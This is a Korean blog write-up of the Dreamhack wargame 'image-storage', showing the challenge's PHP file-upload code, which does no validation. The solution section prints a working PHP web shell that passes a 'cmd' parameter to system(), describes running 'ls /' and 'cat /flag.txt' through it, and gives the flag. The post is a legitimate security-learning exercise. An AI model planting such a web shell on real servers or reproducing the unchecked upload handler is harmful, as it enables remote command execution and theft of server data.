[드림핵/워게임] image-storage (웹 해킹)

2024. 1. 15. 17:47· 보안 스터디/웹 해킹
목차
  1. 문제
  2. 코드 해석
  3. 풀이전략
  4. 실행
728x90
반응형

 

 

문제

 

https://dreamhack.io/wargame/challenges/38

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

 

문제코드

<!-- index.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
    	<h2>Upload and Share Image !</h2>
    </div> 
</body>
</html>
<!-- list.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>
<!-- upload.php -->
<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

 

 

 

코드 해석

엄... php 언어를 처음보긴 하는데, 대략적으로 html 언어랑 비슷한 거 같다.

아닌가?

아무튼 다 html 언어고 가장 중요한 부분은

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

이 부분인 것 같다.

서버로부터 POST 요청을 받게 될 시에 기능을 확인해보면

      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }

이 부분에서 에러 발생시 에러를 출력하는 거고, 

파일이 존재할 시 이미 존재한다고 출력

나머지는 move_uploaded_file 로 임시 이름을 디렉터리 내부에다가 저장하는 것 같다. 그 이름들은

    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];

이 부분이고.

그러면 뭐... 넘어가자

 

 

풀이전략

이건 php 파일을 올려서 그걸로 취약점을 공략해야한다. 업로드할 파일에 대해 어떠한 검사도 하지 않기때문이다. 하지만 내가 php 파일을 짤 수 있는가? 아니다. 그래서 드림핵 그냥 풀이과정만 보았다.

 

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

이 파일을 바탕화면에 만들어서 파일을 업로드 한다.

대충 명령어를 입력하는 칸이 나오고, 그게 명령어이면 실제 수행하는 코드이다.

hi.php 라는 파일을 생성하고, 그것을 이제 업로드하면

이러한 창이 뜨는데

list 로 가면 hi.php 가 있다. 저기를 들어가면

뭔가 입력하는 칸이 뜬다. 저기다가 ls / 를 입력해보면

루트 위치에 flag.txt 가 존재하는 것을 확인할 수 있다.

그럼 이제 cat /flag.txt 를 하면 플래그가 보일 것이다.

 

 

실행

cat /flag.txt 입력시

바로 플래그가 나왔다.

 

플래그는

DH{c29f44ea17b29d8b76001f32e8997bab}

이다.

 

 

 

에필로그

아 php 까지 공부해야할까? blind SQL Injection 때도 그렇고 파일을 직접 작성하지 않는 이상 풀지 못하는 게 몇 개 있어서;;;좀 빡세다. 그리고 이부분은 내가 HTML 코드도 알기만 하지 직접 짤 줄은 모른다..흑흑

728x90
반응형
저작자표시 비영리 (새창열림)

'보안 스터디 > 웹 해킹' 카테고리의 다른 글

[드림핵/워게임] web-ssrf (웹 해킹)  (0) 2024.01.16
[드림핵/웹해킹] ServerSide: SSRF  (1) 2024.01.16
[드림핵/워게임] file-download-1 (웹해킹)  (0) 2024.01.15
[드림핵/웹해킹] ServerSide: File Vulnerability  (0) 2024.01.15
[드림핵/워게임] command-injection-1 (웹 해킹)  (0) 2024.01.15
  1. 문제
  2. 코드 해석
  3. 풀이전략
  4. 실행
'보안 스터디/웹 해킹' 카테고리의 다른 글
  • [드림핵/워게임] web-ssrf (웹 해킹)
  • [드림핵/웹해킹] ServerSide: SSRF
  • [드림핵/워게임] file-download-1 (웹해킹)
  • [드림핵/웹해킹] ServerSide: File Vulnerability
성밍쟁
성밍쟁
성밍쟁 공붕방
너드인의 밤성밍쟁 공붕방
성밍쟁
너드인의 밤
성밍쟁
전체
오늘
어제
  • 분류 전체보기 (182)
    • 일상 (1)
    • 스펙업 (7)
      • 학회 (0)
      • 멋쟁이사자처럼 (2)
      • 2024 winter-study (5)
    • 코딩테스트 - 백준 (9)
    • 보안 스터디 (56)
      • 시스템 해킹 (10)
      • 리버스 엔지니어링 (0)
      • 웹 해킹 (38)
      • 암호학 (8)
    • bandit (15)
    • 웹 개발 (11)
    • 머신러닝 (0)
    • 데이터베이스 (9)
    • KnockOn (72)
    • DevOps (2)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 드림핵
  • /bin
  • 1074
  • 11656
  • 1193
  • 2563
  • 3Des
  • 9613
  • AES
  • Alias

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.2
성밍쟁
[드림핵/워게임] image-storage (웹 해킹)
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.